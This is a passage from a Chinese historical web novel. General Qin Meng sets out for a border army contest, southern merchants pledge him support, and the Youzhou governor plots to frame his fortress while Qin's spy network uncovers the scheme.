就在他以为要客死异乡、血本无归之际,是那个名叫秦大壮的憨厚部将,领着铁血军寨的剽悍骑兵,如一把尖刀,摧枯拉朽般绞杀了贼寇。
更让他铭记于心的是,军寨的知寨官秦猛大人,非但救他于危难,更以公道的价格买下了他那批货物,让他得以带着本金和恩情返回故里。
这一次,他邓龙卷土重来,不仅是做生意,更是来“报恩”兼“投资”。他身后的十二条双桅漕船吃水极深,舱底压着的,是北方紧俏物资:
上等的江南稻米、治疗刀伤金疮有奇效的药材、厚实耐用的松江棉布,甚至……还有一批通过极其隐秘渠道搞来的精铁,猛火油等物。
这几乎是他能动用的全部身家,也是一份极具分量的“投名状”。
不仅如此,他还说服了挚交好友、各自组织船队一同北上,组成了这支规模浩大的船队,声势赫赫。
“呜——”
低沉的号角长鸣,庞大的船队在运河要冲“柳林渡”缓缓靠岸补给。码头上顿时人声鼎沸,喧嚣不已。
邓龙正要下船透口气,就见他的好友,专营茶叶生意的钱贵,挺着便便大腹,气喘吁吁地小跑上船,圆胖的脸上因激动而泛着油光,一把拽住邓龙的袖子,声音压得低低却带着颤儿:
“邓、邓老弟!不得了!天大的消息!”
钱贵夸张地拍着自己胸口,仿佛不这样就喘不过气来,“铁血军寨!就你去岁遇贵人的那个军寨!
他们的知寨官秦大人,被朝廷拜为安北将军了!正四品的重号将军,节制城边军务的大员啊!”
邓龙闻言,身体猛地一僵,摩挲玉佩的手指瞬间停顿。他猛地转头,目光如电般射向钱贵:
“消息来源可靠?确实吗?”
“千真万确!码头上的传驿兵、往来巡查的官差,都在议论!这还能有假?”钱贵唾沫星子都快喷到邓龙脸上。
邓龙深吸了一口混合着河水腥气与尘土味道的空气,眼中的震惊迅速被一种极致的精明和火热的决断所取代。
他反手一把拉住钱贵的手腕:“走,回舱细说!”
同时,他扭头对身旁的心腹伙计低声厉喝:“快去,有请任大哥和其他几位东家速来我舱,就说有生死攸关的要事相商!”
最大的主舱内,门窗微掩,一缕檀香袅袅升起。
邓龙目光扫过围坐过来的几位核心盟友——满脸横肉、目光却耿直的任和尚,以及另外几位经营药材、绸缎多年、老成持重的商人。
他没有立刻开口,而是先执壶,沉稳地为每人面前斟上了一杯刚沏好的、清香四溢的明前龙井。
“诸位哥哥,”邓龙开口,声音不高,却带着一种不容置疑的份量,“我等期盼已久,或许是一生中最大的机缘,来了!”
他手指轻轻叩击着红木桌面,发出笃笃的响声,“秦将军荣膺安北之职,执掌幽州权柄。
可以预见,未来数月,乃至数年,带着金山银海、奇珍异宝前往将军府叩门拜谒的人,会把燕北郡的门槛踏破。”
任和尚是个急性子,粗声粗气道:“邓老弟,你头脑活络是个有主意的!直说吧,该怎么干?俺任和尚是个粗人,但懂得知恩图报!
秦将军的人救过你,也等于救了咱们这次合伙的本钱和底气!俺信你,你说咋办就咋办!”
邓龙眼中闪过一丝混合着狠厉与长远谋划的光芒:“寻常的金银珠玉、古玩字画,对于秦将军这等新晋贵胄而言,不过是锦上添花,难入法眼,甚至可能招致反感。
我们要送,就送两份能让将军记住我们、需要我们的‘大礼’!”他缓缓伸出两根手指。
“其一,我等此次北上贸易,扣除所有本金开销,核算之后的总利润,”
邓龙顿了顿,目光扫过众人,加重了语气,“我邓龙带头,先拿出我名下利润的三成,并建议诸位哥哥也量力而行,凑出一份厚礼。
不以个人名义,而以我等‘江南北上商团’之公义,以‘助边饷、固国防’之名,直接、公开地献给将军府!此乃雪中送炭之实利,远比那些虚头巴脑的礼物更能彰显诚意与作用!”
“三成?”钱贵闻言倒吸一口凉气,脸上肥肉一颤,明显肉疼不已。
“钱兄,”邓龙目光锐利地看向他,“舍得舍得,有舍方有得!眼光需放长远!这第二份礼,分量更重!”
他身体微微前倾,声音压得更低,却字字清晰,“我等需联名立下盟誓,自愿成为安北将军府在江南地区的‘钱袋子’与‘耳报神’!
将军府日后在北疆,有任何需要采买的军需物资、日用物品,无论巨细,只要一纸手令乃至口信传来。
我等必倾尽所能,以成本价格供应,分
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文利润不取!同时,江南官场之动向、市井之流言、粮价物价之波动。
凡是对秦将军稳固北疆、明察秋毫可能有利或不利之消息,我等必设法第一时间密报!我等要做的,不仅是商人,更是将军在江南的臂助与耳目!”
舱内陷入一片死寂,只剩下几人粗重不一的呼吸声。
这已远超普通商贾的巴结讨好,这是彻底的**投靠,是将整个商团的未来与那位素未谋面的安北将军的仕途捆绑在了一起!
风险巨大,一旦所托非人或事机不密,便是灭顶之灾;但若成,则前途不可限量!
任和尚猛地一拍大腿,震得茶杯哐当作响,他虬髯怒张,低吼道:“妙!妙极了!
邓老弟,你这脑子真是绝了!秦将军是干实事、掌兵权的大人物,咱们给他办实事、解实忧,比送他一座金山都顶用!俺看就这么干!算俺一个!”
其他几位商人相互交换眼神,最终也都从对方眼中看到了决心,纷纷重重点头。
就在邓龙于沧澜运河的船舱内与盟友密谋“雪中送炭”之时,他口中所预言的“门庭若市”之景,已先一步在更广阔的地域上演。
秦猛被朝廷拜为安北将军的消息,逐渐被传开。像一块巨石投入平静的湖面,激起千层浪,以惊人的速度传遍南北,引起巨大轰动。
幽州城“望江楼”上,几位绸缎商正品茶热议。
听说了吗?北边的铁血军寨,那位秦知寨,一步登天,去岁杀**立功,被拜为安北将军了!”一个瘦高个商人压低声音,脸上满是神秘。
“安北将军?可是正经八百的重号将军!节制北疆军务,了不得!”旁边一位胖商人惊得手里的筷子都掉了,“我记得去岁有不少商队在那边出了事,就是被这位秦将军救下,还公道买了货……”
“正是!谁能想到,半年光景,一位边寨知寨竟能跃至此等高位?杀敌过万,此乃真豪杰也!”另一位老者捻须感叹,眼中精光闪烁。
“北疆将有大变,商机无限啊。听闻那边皮**、药材、战马皆是好东西,以往鞑虏猖獗,路途不靖,不敢深入。如今有这等强人镇守边陲,力挽狂澜,正是我等北上开拓的好时机!”
“王老所言极是!得赶紧准备一份厚礼,派人星夜兼程送往燕北郡!若能攀上关系,日后在北地行商,收购些马匹牛羊,岂不如履平地?”
消息随商队传扬,类似的议论在冀州、青州、苏州等繁华之地的酒楼、茶室、会馆中比比皆是。
许多原本观望或有北路生意渠道的商人闻风而动,纷纷开始筹措礼物,盘点北地紧俏货物,派遣得力干练的管事,携带重金和名帖,组成一支支拜访队伍,水陆并进,浩浩荡荡地北上而去。
第351章 春将尽,赴冀州
时光飞逝,四月将尽。
北方的春天终于展现出全部的热情,阳光灼热,原野上一片苍翠,点缀着不知名的野花。
寨外万亩农田,禾苗绿油油一片,长势喜人,农人引水灌溉,施撒肥料,期盼着秋天的收获。
牧场里的马儿撒欢似的奔跑,牛羊也变得肥壮。
最忙碌的春耕已然过去!
而铁血军寨的掌舵人秦猛,也到了该动身的时候。
前往冀州参加边军大比,不仅是个人与军寨荣誉之战,更是窥探周边军镇实力、争取朝廷更多认可的关键一步。
临行前,军寨高层齐聚将军府,进行最后的安排。
气氛庄重而严肃。
政务方面:以老保长王槐为首,辅以足智多谋的诸葛风、精于官场的赵开明,组成临时决策核心。
他们负责日常政务、商业发展、民生安抚等一应事宜。
秦猛握着王槐的手:“老爷子,军寨就托付给您了!”
王槐重重点头:“放心,老汉在,寨子乱不了!”
军事防务:此为重中之重。主寨防务及整体军事指挥权,交由沉稳持重的秦大壮全权负责。
勇猛善战的王铁山、心思缜密的常勇、水军悍将阮大,李明等人协助,各司其职,守好家业。
外围据点:芦苇堡的修缮扩建正处于关键阶段,李山无法脱身,继续坐镇。
双涡堡则由副将林军接替张富贵暂管防务。而张富贵本人,则随秦猛同往冀州,参与边军大比。
军务上秦猛有安排,私下也跟家人交代清楚。特意制定了小妹女兵队训练计划与守备规章。他给自己放了一天假,专门在家陪妻子。
是夜,云雨初歇。秦猛将陈月娘柔软的身子紧紧搂在怀里,手指轻轻摩挲着她光滑的肩头。
他低声开口,声音低沉沙哑:“月娘,明天我就要动身去冀州了,这一去,差不多要月余才能回来。”
“一个多月?”陈月娘仰起脸,黑暗中,她亮闪闪的眸子里满是惊讶与不舍。
但仅仅一瞬,她便压下情绪,展露出温婉的笑容,伸手替丈夫理了理鬓角,“怎么要去这么久?边军大比,很凶险吗?你一定要万事小心。”
感受到妻子的担忧,秦猛心头一暖,故意用轻松的语气说道:“放心吧!你夫君我天赋异禀,这世上,能伤你男人的人还没出生呢!”
语气中带着他特有的自信和几分痞气。他在黑夜中精准地捕捉到妻子那双总是含着水光的眼睛,忍不住凑近亲了一下。
“哼,就会吹牛。”陈月娘娇嗔一声,脸上发烧,却忽然一个翻身,竟大胆地跨坐到了秦猛身上。
女人这突如其来的主动,让秦猛瞬间瞪大眼睛,满是不可思议:“娘…,娘子,你……?”
“既然要离开那么久……”陈月娘的声音细若蚊蚋,带着羞怯却坚定的勇气,“那再来一次……这次,我说了算……”
床榻再次发出有节奏的轻微嘎吱声,夹杂着压抑的喘息与呢喃,直至后半夜才彻底平息。
这离别前夜的缠绵,诉说着无尽的难舍与牵挂。
次日清晨,陈月娘早早起身,亲自下厨做了秦猛爱吃的几样小菜。
饭桌上,夫妻二人安静用餐,眼神交汇间尽是温情。
饭后,陈月娘取来秦猛的甲胄和战袍,细心帮他穿戴整齐,每一个扣带都检查得一丝不苟。
府门外,亲卫们已整装待发。
秦猛与妻子深深相拥,在她耳边低语:“在家好好的,等我回来。”
“早去早回,平安为重。”
陈月娘重重点头,强忍住眼眶的酸涩。
秦猛松开手,叮嘱边上的小妹“照顾你嫂子”,便毅然转身,大步走向院外等候的队伍。
男人的身影在晨光中显得愈发高大。
陈月娘一直站在门口,直到丈夫和队伍的身影消失在道路尽头。她在心中祝福,才轻轻叹了口气,转身回屋,默默计算丈夫归来的日子。
官署外的空地上,军寨众高层及留守将领均已到齐,气氛庄重肃穆。
秦猛扫过每一张坚毅的面孔,声音沉毅如铁:“我走之后,全军需提高警惕,不可有一日懈怠!
巡逻哨探加倍,谨防草原异动。若有来犯之敌,秦大壮可临机决断,务求必胜!我等此行,必扬铁血军威,大比结束后,早日凯旋!”
“得令!恭送将军!”
诸将轰然应诺,声震四野,显示出铁血军寨高昂的士气。
随即,秦猛翻身上来踏雪乌骓,亲率千余精骑,人配双马,如同一股钢铁洪流,开出军寨。
留守的军民夹道相送,目光中充满期待与祝福。
朝阳的光芒洒落,千余精骑,马蹄声震动着原野。队伍首先经过外围牧场,协防的磐石营副将李雄早已得信,率领一队骑兵在道旁迎候。
见到秦猛,李雄在马上抱拳行礼,声如洪钟:“秦将军放心,牧场一切安好,牲畜肥壮,守备森严!末将在此,必与军寨互为唇齿,草原上的狼崽子们若敢来犯,定叫他有来无回!”
秦猛勒住战马,看着这个曾经得仰望的李副将,满意地点点头:“好!牧场就交给你们了。记住,稳守为上,但有异动,即刻与大壮联络。”
简单的对话,充满了军人间的信任与托付。李雄带队随行送
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了一段路,目送秦猛率队远去,才复杂地长叹:“安北将军?才过了多久?”
秦猛率队一路南下,路过巡检司原驻地时,如今已是接连升级,此处已成为巡检司总部。
分巡检刘大头带着数百名精神抖擞的兵丁列队相迎。这些兵丁虽不及铁血军老兵悍勇,但却照军寨方法训练,装备整齐,眼神中也多了几分锐气,可见庞仁这段时间确实下了功夫。
刘大头上前汇报:“将军,庞大人有令,命我等在此恭候。目前我部与周边关隘共驻有一千五百余人,日夜操练,绝不敢懈怠,既是郡城屏障,亦是军寨后援,随时准备杀敌!”
秦猛勉励道:“庞仁有心了。告诉你家大人,势力扩张是好事,但根基要稳,兵丁要宁缺毋滥。遇事多思量,若有难处,军寨永远是你们的后盾。”
“得令!”刘大头躬身领命。
秦猛率队绕过燕北郡城,并非无礼,而是一种默契的姿态:
他无意多此一举,边军大比瞒不过地方官府。
郡守林安国站在城头,远远望着那股烟尘南下,对身边的统制官张崇叹道:“猛虎出柙矣。传令下去,各地加强戒备,各营防卫力量加强,防范鞑虏,非常时期,不可有丝毫松懈。”
“是!”张崇拱手应诺。
他前几天就已接到安北将军府的命令,深知此次边军大比牵动各方神经,幽北地界绝不能乱。
几乎在秦猛离开的同时,郡衙内的林婉儿也得到了消息。
她美眸中闪过一丝复杂的神色,既有对秦猛此行的担忧,也有一丝莫名的期待。
林婉儿转身对侍女蛮利落地说:“郡城无聊透顶,收拾行装,我们去铁血军寨,陪陪月娘姐。”
小蛮嘟囔道:“小姐,秦将军不在……”
林婉儿嫣然一笑,眼中却透着坚定:“秦大哥不在,月娘难免孤单。况且,那里如今可是北地的风云中心,比这郡城更有趣呢。”
她心中自有盘算,与陈月娘加深感情,既能巩固与秦猛的关系,也能更直观地了解铁血军寨。
铁血军寨在郡城其实有不少产业,那都是董家势力被连根拔起来,林安国有意划分的,只是挂名在其他人头上,暗地里隶属秦猛个人。
以及春暖花开,各地商队云集边陲。
每天都会有商队满载粮食等货物,抵达铁血军寨榷场。中途随时可见大队骑兵巡逻护卫。
这一段路上还是非常安全的。
林婉儿又是留下一封书信,带着小蛮不辞而别。
入夜,林安国看着信上写着“女儿快憋出病来”等内容,这位林大人好气又好笑,满脸无奈。
第352章 幽州暗流,阴谋初现
幽州城,明月楼后院密室。
油灯如豆,映照着一张张隐于暗处的狰狞面具。
边军大比,秦猛亲自带队赶赴的消息昨天已经送达。
“总管”冯财再次召集了城内蛰伏的情报骨干。
——“二哈”王二(负责杂货铺货郎消息)、
“三炮”赵贵(掌控粪业)
“四豺”周福(接触商队)
“五熊”秦三郎(发现码头脚夫)
“七柳”朱金(经营酒楼,收集情报)
冯财环视众人,压低声音:“东家已经离寨,幽州城的牛鬼蛇神恐怕会按捺不住。主上有令,我等暗部密探需加倍警惕,尤其是刺史府那边,一只苍蝇飞进去,也要知道是公是母!”
“三炮”赵贵嘿嘿一笑,露出一口被旱烟熏黄的板牙:“冯爷放心,一个冬季了,我手下那几百号夜香郎,如今可是幽州城的‘地下最灵耳朵。
哪家大户一天有几个人出恭,出了多少腌臜物,是稀是稠,是绿褐还是焦黄,我这儿门清……”
“哎呦喂!”他话没说完,就被好几声干呕打断。
“呕……你闭嘴。”
“赵三炮!你能别说那么细吗?”王二捂着鼻子,一脸嫌弃。
赵贵得意地收了声,这才正色道:“总之,哪座府邸突然多了生面孔,哪位老爷夜里请了客,吃素的还是吃荤的,甚至官仓守卫几时换岗、有无偷懒,就没有咱这‘肥料线’摸不清的。
“嘿嘿,你们这样不行呐!这些‘农家宝’……呃不,这些情报,正一车车稳妥地往北边送呢!”
众人闻言,虽仍觉膈应,却不得不承认这张依托秽物构建的情报网,其渗透力和隐蔽性堪称恐怖。
这位“炮哥”,距离掌控幽州城粪业的霸主之位,确实仅一步之遥。
“二哈”王二接口:“我手下的货郎、小贩也已就位,他们走街串巷,重点往赌场、茶楼、脚店、甚至那些暗门子钻。
那里三教九流混杂,那里的醉汉**嘴上没把门的,最容易漏风,只要下令,就能够动员。”
“四豺”周福点头:“商队、车行那边我也打了招呼,但凡有大宗货物,特别是粮、铁、盐、马料出入,都会记录在案,可疑的立刻上报。”
“五熊”秦三郎瓮声道:“码头脚夫也安排了眼线,盯着所有停靠船只的装卸。另外我拉起了一支武装队,兄弟们随时可以动手,应对突发。”
“七柳”朱金最后补充:“明月楼是根本,官面上的人来饮酒作乐,我会亲自作陪,尽量套话。楼里姑娘们也机灵,会留意客人的谈话。”
冯财满意地点点头:“好!各自行动,记住,宁可跟丢,不可暴露。我们要让刺史府觉得,他们仍在暗处,实则已在我等耳目之下!”
散会后,幽州城的阴影里,一张无形巨网开始悄然收紧。
天未大亮,掏粪工们便三两一组,推着箱车吆喝着,穿梭于各大街巷,他们看似闲聊家常,抱怨活计,实则耳朵竖得老高,将各家各户门房、仆役的只言片语记在心中。
货郎们的叫卖声在赌场后门、暗娼**区格外响亮,他们用劣酒和便宜胭脂,换回零碎的消息。
码头脚夫扛着大包,眼神却锐利地扫过每一箱货物。
无数细微的信息,如同溪流汇入大江,最终流向明月楼,经过甄别整理,化作有价值的情报。
与明月楼低调高效形成鲜明对比,幽州刺史府内,近来内外戒备加强,氛围压抑得令人窒息。
装饰奢华的书房内,不时传出瓷器碎裂和愤怒的咆哮。
“啊——混帐!该死啊!”刺史崔文远的怒吼声再次响起,吓得门外侍立的仆人们浑身一颤,噤若寒蝉。
自从前些日子府内揪出几个多嘴的仆人被重罚后,再无人敢私下议论。
此刻,暖阳透过窗棂,却驱不散书房内的阴冷。
崔文远刚刚听完两名幽狼卫头目的详细汇报,确认了燕北、渔阳两郡产业被夺,背后铁血军寨的影子清晰可见。
更可恨的是,自己派去调查和报复的精锐幽狼卫,行动时竟再次遭遇伏击,折损三十余人!
这些都是他耗费家族巨资培养的死士,每一个都无比珍贵!崔文远心在滴血,面容因愤怒而扭曲,猛地将手边一个价值不菲的青瓷花瓶扫落在地,摔得粉碎。
“秦猛!匹夫!安敢如此欺我?夺我产业,杀我精锐!此仇不报,我崔文远誓不为人!”
他双目泛红,咬牙切齿,对那个屡屡坏他好事、不给他丝毫面子的边寨武夫恨到了极致。
就在这时,一名黑衣幽狼卫头目快步闯入:“大人,急报,秦猛已于昨日率千余骑离开铁血军寨,一路南下,前往冀州参加边军大比!”
这个消息如同一声惊雷,让处于暴怒边缘的崔文远猛地冷静下来。
他深吸几口气,强压下翻腾的怒火,脸色阴沉得能滴出水来:“哼!快去把长史苏骞叫来!”
半个时辰后,年过六旬、瘦削精干的长史苏骞悄无声息地进入书房,他那双三角眼闪烁着毒蛇般的光芒。
“苏先生,时机到了!”崔文远阴森又恶毒地说道,“秦猛离巢,内部必然空虚。边军大比牵扯各方视线,正是我们动手的绝佳机会!”
苏骞捻着颌下几根稀疏的山羊胡,阴恻恻地笑道:“使君高见。老夫以为,可双管齐下,明暗结合。”
“明面上,”苏骞伸出枯瘦的手指,“可大肆散播谣言。一则,言铁血军寨恃功而骄,拥兵自重,甚至有割据之
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心;二则,可捏造其与草原部落暗中勾结,走私盐铁马匹,图谋不轨。
谣言如水,无孔不入,一旦传开,三人成虎,足以让安北将军府和朝廷对其心生猜忌,日后掣肘必多。”
“暗地里,”苏骞凑近些,压低声音,身体前倾,“我们筹划已久的‘资敌’之计便可启动。
通过那条秘密渠道,将一批粮食、生铁,甚至些微破损军械,运往与秦猛有血仇的‘图鲁木部落’。
同时,选派机灵死士,伪装成铁血军寨的人马,去劫掠、骚扰那些与我们不对付的小部落。或在边界刻意制造摩擦,留下‘铁血军’的痕迹……”
崔文远眼睛骤然放光,接口道:“妙!如此一来,图鲁木部落得了资助,又被撩拨起仇恨,必然如饿狼般扑向铁血军寨!
就算不能一举踏平,也足以让他们损兵折将,焦头烂额!若此时朝廷猜忌的旨意再到……他秦猛便是腹背受敌!”
他越说越兴奋,仿佛已看到秦猛狼狈不堪的模样。
苏骞躬身,脸上褶子堆起谄媚而阴险的笑:“使君英明。此乃驱虎吞狼,借刀**之绝策。
届时秦猛远水难救近火,军寨若破,他根基尽失,成丧家之犬;军寨若能苦撑,也必是惨胜,实力大损。
无论成败,我等皆可坐收渔利。
况且,资助女真部落的物资,待事成之后,亦可通过边贸或令其‘进贡’等方式,连本带利收回。”
两人相视,发出低沉而快意的笑声,书房内弥漫着阴谋的气息。
书房内的密谋持续了约莫一刻钟。
期间,一名约莫十七八岁、面容稚嫩的小厮低头垂目,小心翼翼地进去换了两次茶水。
他动作轻缓,如同不存在一般。
但在崔文远与苏骞谈到“运送物资”、“挑起边衅”等关键词时,他执壶的手几不可察地微微一顿,随即恢复如常,头垂得更低,退出时更是屏息凝神,不敢发出半点声响。
退到后院伙房,这小厮借着帮忙劈柴的由头,蹲在角落,迅速从袖中摸出一小截偷藏的炭笔和一张粗糙草纸,飞快地写下几个关键字:
“崔苏密谋,趁秦离,欲运物资往草原,嫁祸军寨。”
他将草纸揉成一团,外面又包上一层破布,裹紧一颗小石子。馏到刺史府后院高墙下的一处杂草丛生,平时丢垃圾的角落,少有人来。
确认无人,他迅速将布包扔出墙外。划过一道低矮的弧线,落入墙外一条僻静的死胡同里。
几乎在石子落地的瞬间,胡同阴影里便闪出一个十二三岁的少年,他看似路过,实则早已在此等候。
他迅速捡起布包,看也不看塞入怀中,脚步不停,转眼便混入了街道的人流中,消失不见。
第353章 密信三传,铁骑入冀
五月初二,幽州城外数十里,官道之上烟尘漫卷。
秦猛率领的千余铁骑正在休整饮马,队伍旌旗招展,杀气内敛。
恰在此时,一骑快马自幽州城的方向而来,骑手配备双马,风尘仆仆,竟是军寨暗部信使。
他认出飞虎卫“秦”字大旗,急忙上前拜见,将一封密信呈上。
“哼,果然不出所料,边军大比,各堡,寨群龙无首。哼哼这群暗地里的臭老鼠又要搞怪。”
秦猛展开密信,目光迅速扫过,眼中寒光一闪而逝。随即化为冰冷的嘲讽,“往草原输送粮食、盐铁,并造谣生事?这真是自寻死路!”
信使恭敬汇报,此信本是冯财命他火速送回军寨,亲手交予王槐老保长或诸葛风先生定夺。
“你们孺子猖狂,就休怪本将军心狠手辣喽!”秦猛声音平静,却带着一股凛冽的杀意。
他仔细将纸条折叠好,重新放入竹筒交还信使:“你的任务不变,依旧送回军寨。另外,我会派两名亲兵与你同行,以确保万无一失。”
“得令!”信将密信小心翼翼收好。
秦猛命亲兵取来随军携带的简陋折叠案与笔墨,就着马鞍铺开纸张,略一沉吟,便挥毫疾书。
他结合幽州城的情报和自身判断,预判了崔文远一伙可能采取的行动步骤,以及军寨应如何根据对方动向进行预置兵力、加强防范。
他在信中强调,需静待幽州城待命多时的副指挥李双送出更确切的情报,再行雷霆之举。这封信,既是预警,也是初步的行动方略。
写完信,墨迹稍干,他便将其折叠好装入信封。又撕下两指宽的小纸条,用细笔简略写下此事。
吹干墨迹后,秦猛将纸条卷成小卷,塞入一个小巧的信筒。
亲兵提来一个鸟笼,里面是一只颇为神骏的鸽子——这是队伍出发前,携带了几只信鸽。
秦猛将信筒缚于鸽腿,振臂将其放飞。看着鸽子化作天际一个小点,
他心中暗道:“此去数百里,但愿这扁**畜生能顺利抵达。”
这亦是一次对远程通讯可靠性的测试。
为保周全,他又唤来两名心腹亲兵,把密信交给他们,低声嘱咐了一番,作为双重保险。
两名亲兵领命,与那信使会合,三人六骑,先是故作悠闲地兜转几圈,确认绝无尾巴跟踪后,才猛地打马,如离弦之箭般向北疾驰而去。
“继续行军!”处理完这些,秦猛翻身上马,带领休整完毕的大队人马,如一股铁流般继续南下,直抵幽州城西三十里外的飞虎卫大营。
他本欲拜会在此驻防的赵起将军,却得知赵将军已于七八日前先行赶赴冀州,参与大比事宜的筹备磋商。
“既如此,便不必进城了。”
秦猛拨转马头,望了一眼远处地平线上若隐若现的幽州城廓,嘴角勾起一抹冰冷的讥诮。
“好一座雄城!可惜,落在一群蛀虫草包手中。”
他想到崔文远之流的贪婪歹毒,以及幽州帅司的成事不足败事有余,他眼中闪过一丝凶狠。
“等着吧,用不了多久,这幽州,到底谁说了算?”
压下胸中翻涌的杀意,秦猛率队绕过幽州城,继续南下。
千余精骑,人配双马,除了必要的歇马打尖,日夜兼程,速度极快。
即便乌维坐骑是一头最壮的牛,却也有多匹高大健壮的种马轮换代步,也没怎么拖慢行程。
仅一天后,队伍便已离开幽州地界,进入了冀州。
一入冀州,景象顿殊。
与地广人稀、多山峦丘陵的幽北边陲相比,冀州大地可谓一马平川,水土丰美,沃野千里。
冬小麦已抽穗,春播的粟米、豆类也已绿意盎然,长势喜人。田间地头,随处可见辛勤劳作的农夫,妇人,一片生机勃勃的繁荣景象。
冀州民风淳朴,因地处中原腹地,受文教熏陶更深,待人接物显得比边民更为温和知礼。但街市之上,也可见佩刀携剑的游侠儿,乡间坞堡内,也多有操练的壮丁,不乏尚武精神。
毕竟毗邻幽州、并州边镇,草原鞑虏的凶残人人皆知,承平之下,居安思危之心未尝稍减。
时近五月初五,一个对于大周百姓极为重要的传统节日。
——沧澜节即将到来。
这个节日虽无后世“端阳”之名,却有诸多相似之处。据说是为了纪念远古先民在此片土地上战胜水患、开辟家园的功绩。
节日里,人们要用苇叶包裹黍米制成“角黍”我食用,举行祭祀仪式,祈祷风调雨顺、人畜平安。
最热闹的当属在河流湖泊中进行的舟船竞渡活动。
随着节日临近,秦猛的队伍一路行来,明显感受到浓厚的节庆氛围。途经的集镇、村坊,家家户户门前都挂起了艾草和菖蒲,空气中弥漫着清新又略带辛辣的气味。
集市上,售卖苇叶、黍米、五彩丝线的小贩吆喝声格外响亮,偶尔还能看到能工巧匠在精心打造用于竞渡的龙舟。
百姓脸上带着笑意,孩童追逐打闹,一派祥和喜气。
这浓郁的世俗欢乐,与边塞之地时常弥漫的肃杀紧张形成了鲜明对比,也让秦猛麾下这些久在边陲的汉子们感到几分新奇,开了眼界。
边军大比的场地,设在冀州中部偏西北的“平虏原”。
此地地势开阔平坦,极适合大队人马集结操演,且距离幽州、并州、雍州等几大边镇的核心驻防区距离大致相当,便于各方边军队伍前来。
在此举办,算是相对公平的选择。<
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br>两日后,秦猛率队抵达平虏原外围后,并未贸然将全部人马带入大比核心区域而惹人诽议。
他在距离正式赛场约三十里处,寻了一处靠近水源、地势稍高的僻静之地。命令秦小六、韩勇等将领带领大队骑兵就地安营扎寨,购置粮草,以应对意外,并严明军纪,不得扰民。
他自己则仅带一众将领及百多精骑,前往大比赛场举办地——那座依临时校场而建的巨大军营。
越靠近军营,气氛越是热闹。
官道上往来穿梭的兵士明显增多,盔明甲亮,旗号鲜明。
多的队伍有三五百人,盔甲制式统一,精神饱满;少的也有百余人,个个雄赳赳,气昂昂。
他们甲胄样式各异,显然是来自不同系统的边军劲旅。
六大边军的旗帜在校场上空隐约可见:镇北军、龙骧军、熊罴军、虎贲军、豹韬军、鹰扬军。
让秦猛略感讶异的是,这肃杀的军营之外,熙熙攘攘,竟自发形成了一个热闹的临时集市。
只见正对着辕门的主干道左右,被用拒马给隔开。周边村镇的百姓颇有生意头脑,闻讯赶来。
支起无数帐篷、摊铺,吆喝叫卖着各种吃食、酒水、瓜果,甚至还有些修补衣物、锻造打磨兵器的服务,专做这些各地军爷们的生意。
更引人注目的是,军营外围多处空地上,各支边军竟纷纷设起了募兵点!
只见一群群渴望投军的青壮排成长队,按项目接受考核。
——有憋足力气举起沉重石锁的,有在划出的短道上策马展示骑术的,还有对着草靶弯弓射箭的。
喝彩声、鼓劲声、考核官的指令声此起彼伏,热闹非凡。
这招兵的热闹场景,无形中也成了各边军实力与吸引力的一种侧面展示。
秦冷眼观察,镇北军作为老牌强军,募兵点前人山人海,应者云集;
龙骧军、虎贲军相差无几,同属北疆强军,颇具声势;鹰扬军、熊罴军则因侧重而次之;而豹韬军的募兵点则最为冷清,排队者寥寥。
秦猛早有耳闻,这豹韬军成军最晚,将官多有京城权贵背景,多是来入军队镀金混资历的。
据说是文官想把臭手伸入边军体系。
只是领兵者无能,豹韬军,素来治军松弛,战力堪忧,每次大比都是垫底,被其他五军视为笑柄,鄙夷地称其“将怂兵孬”,最为拉胯。
就在秦猛一行人验明身份,准备进入军营辕门时,前方豹韬军募兵点突然骚动,喧哗四起!
只听一个嚣张尖刻的声音响起:“呸!你们两个贱民,本公子抬举你们,让你们做贴身护卫,是你们祖上积德!竟还敢不识抬举?”
“就是,公子看上你们,你俩可别敬酒不吃吃罚酒!”
第354章 老子打的就是你
豹韬军的募兵点前此刻已是水泄不通。被一场愈演愈烈的争执吸引人围观。与其他招募点人头攒动的场面相比,这里的气氛充满了**味。
核心处,冀州别驾之子张显面皮涨得发紫,他用折扇几乎戳到那黑脸虬髯汉子的鼻尖,声音因愤怒而越发尖厉:“好个不知死活的杀才!
本公子怜你二人有几分力气,赏你们一个前程,竟敢如此不识抬举!
真当豹韬军是你们这等贱民可以撒野的地方吗?”
他身旁那几个衣着光鲜的帮闲立刻如同鬣狗般鼓噪起来:
“听见没有?张公子这是给你们指条明路!”
“瞧瞧你们这身破布烂衫,能入张府已是祖坟冒青烟,还敢挑三拣四?”
“给公子爷当护卫,是你们几辈子修来的福气,别给脸不要脸!”
被围在中央的两位汉子,一个是面皮紫黑、背着双铁鞭,另一人脸庞蜡黄、身高九尺、背着宽背大刀。
黑脸汉子胸膛剧烈起伏,一双虎目几乎要喷出火来,虬髯根根戟张,怒吼道:“放**狗屁!
俺兄弟顶天立地,投军是为了上阵杀敌,砍**的脑袋!
不是来给你们这些腌臜当看门狗的,俺不受这鸟气!”
那黄脸汉子虽也面色铁青,但却比兄弟更为沉稳,一把按住黑脸汉子要去摸铁鞭的大手。
他目光锐利地扫过张显和那几个明显偏袒、抱着胳膊冷笑的豹韬军军官,声音沉浑:“这位公子,诸位军爷。人各有志,不可强求。
我兄弟二人只想在战场上凭本事挣取军功,无意高攀富贵。道不同不相为谋,我等就此别过,还请行个方便。”
“想走?”张显见他们软硬不吃,尤其是在这大庭广众之下,更是觉得下不来台,恼羞成怒之下,厉声道:“把这当什么地方了?戏台子吗?
由得你们唱完就走?
今日你二人若乖乖听话,随了本公子,之前的事便一笔勾销。若不然……”
他冷哼一声,旁边几个膀大腰圆的军汉和张家恶仆立刻狞笑着围拢上来,堵**所有去路,
“就按扰乱招兵秩序论处,军法不容情!”
那为首的豹韬军小军官也皮笑肉不笑地帮腔:“二位,听我一句劝。张公子可是张别驾的独苗,在这北疆地界,谁敢不给几分面子?
顺从了公子,日后在军中自然有你们的好处,金银钱财、前程地位,唾手可得。
何必为了那点虚名,自讨苦吃,甚至……丢了性命呢?”
话语中的威胁之意,昭然若揭。
这番仗势欺人、强逼为奴的丑恶嘴脸,引得围观人群中发出一片压抑的哗然大笑,许多军汉愤慨的低语,但慑于张家的权势,无人敢出头。
黑脸汉子眼见退路被阻,兄弟受辱,最后一丝理智也被怒火烧尽,暴喝如雷:“直娘贼!俺跟你们拼了!”
猛地就要抽出背后寒光闪闪的双铁鞭。袁锋虽想阻拦,但对方已然逼到近前,他也只能暗叹一声,手按上了刀柄,准备拼死一搏。
场面瞬间失控,眼看就要血溅五步!
